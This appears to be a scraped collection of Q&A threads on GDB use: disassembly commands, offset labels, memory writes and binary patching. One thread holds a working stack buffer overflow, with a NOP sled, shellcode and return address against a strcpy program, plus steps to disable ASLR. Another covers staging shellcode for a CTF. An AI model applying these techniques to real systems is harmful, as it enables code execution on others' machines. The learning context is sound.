I'm having trouble getting a disassembly at my current location. GDB does not recognize . (dot) as "here":
(gdb) disass .
A syntax error in expression, near `.'.
Issuing disass $pc disassembles from the start of the function and not "here":
(gdb) disass $pc
Dump of assembler code for function _ZN8CryptoPP6RDSEED13GenerateBlockEPhm:
0x000000000056b962 <+0>: push %r13
0x000000000056b964 <+2>: push %r12
0x000000000056b966 <+4>: push %rbp
...
<skip 5 pages of output>
0x000000000056ba88 <+294>: mov %rdi,0x8(%rsp)
=> 0x000000000056ba8d <+299>: test %edx,%edx
0x000000000056ba8f <+301>: je 0x56ba7f <_ZN8CryptoPP6RDSEED13GenerateBlockEPhm+285>
...
How do I create an alias or a rule to provide a disassembly at the current location, some number of instructions before the current location, and some number of instructions before the current location?
It seems like this should be built-in functionality, but GDB does not appear to offer it. Other low level debuggers, like WinDbg, has the built-in functionality.
disas disassembles the entire function (as designed and documented).
You are looking for x/10i $pc (replace 10 with desired number of instructions).
How can I alias disass . to the command above?
There is GDB alias command, but it rejects my attempts to use it:
(gdb) alias ds = x/10i $pc
Invalid command to alias to: x/10i $pc
User-defined command works:
(gdb) define disas
Type commands for definition of "disas".
End with a line saying just "end".
>x/10i $pc
>end
Related
Occasionally I want to analyse the assembler produced by gcc for a function, and have long used a little script that fires up gdb with expect, fetches the disassembly, and postprocesses the result to turn it into something approximating readable assembly code.
However gdb output appears to have changed - I'm now using Ubuntu's gdb-10.2 - such that a short way through the output switches from showing locations as positive offsets from the named function to negative offsets from what I assume is the next symbol:
Dump of assembler code for function S_group_end:
0x00000000001d6320 <+0>: push %r13
0x00000000001d6322 <+2>: push %r12
...
0x00000000001d63cf <+175>: call 0xf0450 <Perl_croak>
0x00000000001d63d4 <+180>: nopl 0x0(%rax)
0x00000000001d63d8 <-1176>: cmp %rcx,%rbx
0x00000000001d63db <-1173>: jbe 0x1d6452 <S_next_symbol-1054>
...
In this case they appear to be relative to the (coincidentally named) S_next_symbol, but there's no indication of that (and it is not emitting S_next_symbol itself as a label).
Is there an option to revert the output style to what it was before (eg <S_group_end+184>), or some other way to make this output more readily parsable?
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the С programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I have a simple program that I am using to test a python riscv disassembler I am making and I want to use gdb/qemu to test my work. The program is this literally just this:
int main(int argc, char *argv[]) {
while (1);
return 0;
}
this is the command I am using to start gdb:
gdb-multiarch ./test -ex "target remote :7224" -ex "tbreak main:4" -ex "continue"
This is what was used to compile it:
riscv64-linux-gnu-gcc -o test test.c
But I am getting this error when I try to change any memory values:
(gdb) disassemble
Dump of assembler code for function main:
0x00000040000005ea <+0>: addi sp,sp,-32
=> 0x00000040000005ec <+2>: sd s0,24(sp)
0x00000040000005ee <+4>: addi s0,sp,32
0x00000040000005f0 <+6>: mv a5,a0
0x00000040000005f2 <+8>: sd a1,-32(s0)
0x00000040000005f6 <+12>: sw a5,-20(s0)
0x00000040000005fa <+16>: j 0x40000005fa <main+16>
End of assembler dump.
(gdb) set *(int*) $pc = 0x2e325f43
Cannot access memory at address 0x40000005ec
I just want to see what instruction gdb interprets with the bytes I set. Google has been little to no help with this. What could I be doing wrong?
Figured it out in a stupid manner.
set $pc = $sp
Then I can change the pc
This command:
set *(int*) $pc = 0x2e325f43
is trying to write a value to the memory the PC currently points at (that's 0x00000040000005ec in this case). As it happens, that memory is read-only, which is pretty usual for areas of memory with code in them[*]. So gdb tells you it can't write there. You should be able to write to memory which isn't read-only.
[*] With a suitable linker map you can create binaries which have the code in writeable memory. But the default for Linux executables is that code segments are read-only.
Your other command:
set $pc = $sp
changes the PC; it sets it to whatever the stack pointer is pointing at. That's going to be fatal for any further attempts to execute code, unless you put some code there, of course. As it happens, the stack is generally writeable, which is why writing to the memory pointed to by the PC then works.
Recently I have been working on CTF challenges that require the attacker to stage shellcode in the environment. With ASLR disabled, one can rely on only slight differences between the environment of the shell, for example, and that of the exploitable process (e.g. differences due only to binary name differences). However, GDB (and R2) will make slight changes to the environment that make this very hard to do due to the environment variables shifting around slightly when not being debugged.
For example, GDB seems to at least add the environment variables LINES and COLUMNS. However, these can be removed by invoking GDB as follows:
gdb -ex 'set exec-wrapper env -u LINES -u COLUMNS' -ex 'r < exploit.input' challenge.bin
Note that GDB will implicitly use the fully qualified path when debugging a binary, so the user can further decrease any differences by invoking the binary in a similar manner.
`pwd`/challenge.bin < exploit.input
However, there still appear to be some differences. I have many times been able to get an exploit working while in GDB, but only to have it crash when run without the debugger. I've read mention of some script (sometimes referred to as setenv.sh) that can (allegedly) be used to setup an environment exactly like GDB, but I have not been able to find it.
Looking at the env of the shell:
LANG=en_US.UTF-8
PROFILEHOME=
DISPLAY=:0
OLDPWD=/home/user
SHELL_SESSION_ID=e7a0e681012e480fb044a034a775bb83
INVOCATION_ID=8ef3be94d09f4e47a0322ddf0d6ed787
COLORTERM=truecolor
MOZ_PLUGIN_PATH=/usr/lib/mozilla/plugins
XDG_VTNR=1
XDG_SESSION_ID=c1
USER=user
PWD=/test
HOME=/home/user
JOURNAL_STREAM=9:15350
KONSOLE_DBUS_SESSION=/Sessions/1
KONSOLE_DBUS_WINDOW=/Windows/1
GTK_MODULES=canberra-gtk-module
MAIL=/var/spool/mail/user
WINDOWPATH=1
TERM=xterm-256color
SHELL=/bin/bash
KONSOLE_DBUS_SERVICE=:1.7
KONSOLE_PROFILE_NAME=Profile 1
SHELLCODE=����
XDG_SEAT=seat0
SHLVL=4
COLORFGBG=15;0
LANGUAGE=
WINDOWID=16777222
LOGNAME=user
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
XDG_RUNTIME_DIR=/run/user/1000
XAUTHORITY=/home/user/.Xauthority
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
_=/usr/bin/env
And comparing it to that of GDG (LINES and COLUMNS removed):
/test/challenge.bin
_=/usr/bin/gdb
LANG=en_US.UTF-8
DISPLAY=:0
PROFILEHOME=
OLDPWD=/home/user
SHELL_SESSION_ID=e7a0e681012e480fb044a034a775bb83
INVOCATION_ID=8ef3be94d09f4e47a0322ddf0d6ed787
COLORTERM=truecolor
MOZ_PLUGIN_PATH=/usr/lib/mozilla/plugins
XDG_VTNR=1
XDG_SESSION_ID=c1
USER=user
PWD=/test
HOME=/home/user
JOURNAL_STREAM=9:15350
KONSOLE_DBUS_SESSION=/Sessions/1
KONSOLE_DBUS_WINDOW=/Windows/1
GTK_MODULES=canberra-gtk-module
MAIL=/var/spool/mail/user
WINDOWPATH=1
SHELL=/bin/bash
TERM=xterm-256color
KONSOLE_DBUS_SERVICE=:1.7
KONSOLE_PROFILE_NAME=Profile 1
SHELLCODE=����
COLORFGBG=15;0
SHLVL=4
XDG_SEAT=seat0
LANGUAGE=
WINDOWID=16777222
LOGNAME=user
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
XDG_RUNTIME_DIR=/run/user/1000
XAUTHORITY=/home/user/.Xauthority
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
/test/challenge.bin
One can see the environments are not very different on inspection. Notably, the GDB env seems to have a second instance of the debugged binary's name (e.g. challenge.bin, in this case), as well as the fact that it sets _ to GDB rather than the debugged binary. The offsets seem to be way off, even when taking these small changes into account.
TL;DR
How can the GDB environment differences be nulled out for the case when it is necessary to know a priori the locations of things in the environment with and without the debugger running?
In an effort of lazyness, has anyone fully characterized the with/without GDB environment, or the changes GDB makes?
And for those interested, R2 appears to made changes to PATH. There may also be other differences.
How can the GDB environment differences be nulled out
One way is to run the binary outside of GDB (have the binary wait for GDB to attach, as described here), and attach GDB to it from "outside".
Update:
the binary in question is part of a challenge and source is not provided
You can patch _start with a jmp _start (so the binary will never progress past the first instruction). Once attached, replace the jmp with the original instruction, and start debugging.
Update 2:
Are you familiar with a better process?
In order to find offset of a given function in the ELF file, you need two values: offset of the function within section, and offset of section within the file.
For example:
$ readelf -Ws a.out | grep ' _start'
58: 00000000004003b0 43 FUNC GLOBAL DEFAULT 11 _start
This tells you that _start is linked at 0x4003b0 in section 11.
What is that section, what is its starting address, and where in the file does it start?
$ readelf -WS a.out | grep '\[11\]'
[11] .text PROGBITS 00000000004003b0 0003b0 000151 00 AX 0 0 16
We now see that _start is at the very start of .text (this is usually the case), and that .text starts at offset 0x3b0 in the file. QED.
An even better process is to use GDB to perfom the patching (GDB will perform all the finding of offsets). Suppose I want to overwrite the first instruction of _start with 0xCC instruction:
$ gdb --write -q ./a.out
Reading symbols from ./a.out...done.
Let's look at the original instructions first:
(gdb) x/4i _start
0x4003b0 <_start>: xor %ebp,%ebp
0x4003b2 <_start+2>: mov %rdx,%r9
0x4003b5 <_start+5>: pop %rsi
0x4003b6 <_start+6>: mov %rsp,%rdx
Now let's patch the first one:
(gdb) set *(char*)0x4003b0 = 0xCC
(gdb) x/4i _start
0x4003b0 <_start>: int3
0x4003b1 <_start+1>: in (%dx),%eax
0x4003b2 <_start+2>: mov %rdx,%r9
0x4003b5 <_start+5>: pop %rsi
(gdb) quit
Segmentation fault (core dumped) <<-- this is a GDB bug. I should fix it some day.
$ objdump -d a.out
...
Disassembly of section .text:
00000000004003b0 <_start>:
4003b0: cc int3 <<-- success!
4003b1: ed in (%dx),%eax
4003b2: 49 89 d1 mov %rdx,%r9
...
Voila!
__asm__("\n\
movl $1, %eax\n\
");
How can I step through __asm__ so I can print the registers to see what they are storing? Right now, I put a break on the __asm__ line and then I tried pressing stepi or si and it's not stepping into the movl line. What am I doing wrong?
The si is stepping over the movl instruction (you can verify this by typing display/i $pc and observing how the output changes.
What isn't happening (and what likely confused you) is update to the source. That's because your code inside asm() does not have any line-number annotations, so GDB can't tell which line(s) it should be displaying.
Normally, the compiler puts such annotations into the assembly. But here you've bypassed the compiler. If you want line numbers to be correct, you'll have to add these annotations yourself (which usually isn't worth the trouble).